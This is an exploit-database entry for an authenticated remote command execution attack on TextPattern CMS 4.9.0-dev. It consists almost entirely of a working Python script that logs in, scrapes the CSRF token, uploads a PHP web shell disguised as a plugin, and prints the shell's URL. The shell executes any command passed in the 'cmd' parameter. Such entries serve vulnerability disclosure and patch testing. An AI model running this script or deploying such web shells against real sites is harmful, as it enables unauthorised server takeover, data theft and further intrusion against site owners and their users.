TextPattern CMS 4.9.0-dev - Remote Command Execution (RCE) (Authenticated)

2021-07-05
ID: 104546
CVE: None
Download vulnerable application: None
# Exploit Title: 
# Date: 07/04/2021
# Exploit Author: Mevlüt Akçam
# Software Link: https://github.com/textpattern/textpattern
# Vendor Homepage: https://textpattern.com/
# Version: 4.9.0-dev
# Tested on: 20.04.1-Ubuntu

#!/usr/bin/python3


import requests
from bs4 import BeautifulSoup as bs4
import json
import string
import random
import argparse


# Colors
RED="\033[91m"
GREEN="\033[92m"
RESET="\033[0m"

parser = argparse.ArgumentParser()
parser.add_argument('-t', '--url', required=True, action='store', help='Target url')
parser.add_argument('-u', '--user', required=True, action='store', help='Username')
parser.add_argument('-p', '--password', required=True, action='store', help='Password')
args = parser.parse_args()

URL=args.url
uname=args.user
passwd=args.password

session=requests.Session()

def login(uname,passwd):
    data={'lang':'en','p_userid':uname,'p_password':passwd}
    r_login=session.post(URL+"/textpattern/index.php",data=data, verify=False)

    if r_login.status_code == 200:
        print(GREEN,f"[+] Login successful , your cookie : {session.cookies['txp_login']}",RESET)
    else:
        print(RED,f"[-] Login failed",RESET)
        exit()

def get_token():
    print(GREEN,f"[+] Getting token ",RESET)
    r_token=session.get(URL+"/textpattern/index.php?event=plugin")
    soup = bs4(r_token.text, 'html.parser')
    textpattern = soup.find_all("script")[2].string.replace("var textpattern = ", "")[:-1]
    textpattern = json.loads(textpattern)
    return textpattern['_txp_token']

def upload():
    file_name=''.join(random.choice(string.ascii_lowercase) for _ in range(10))
    file={
        'theplugin':(
            file_name+".php",
            """
            <html>
            <body>
            <form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
            <input type="TEXT" name="cmd" autofocus>
            <input type="SUBMIT" value="Execute">
            </form>
            <pre>
            <?php if(isset($_GET['cmd'])){system($_GET['cmd']);} ?>
            </pre>
            </body>
            </html>
            <!-- """+file_name+" -->"
        ),# The file_name is used to verify that the file has been uploaded.
        'install_new':(None,'Upload'),
        'event':(None,'plugin'),
        'step':(None,'plugin_upload'),
        '_txp_token':(None,get_token()),
    }

    r_upload=session.post(URL+"/textpattern/index.php",verify=False,files=file)

    if file_name in r_upload.text:
        print(GREEN,f"[+] Shell uploaded",RESET)
        print(GREEN,f"[+] Webshell url : {URL}/textpattern/tmp/{file_name}.php",RESET)
    else:
        print(RED,f"[-] Shell failed to load",RESET)
        print(RED,f"[-] Bye",RESET)
        exit()


if __name__=="__main__":
    login(uname,passwd)
    upload()
    print(GREEN,f"[+] Bye",RESET)
1-4-2 (www02)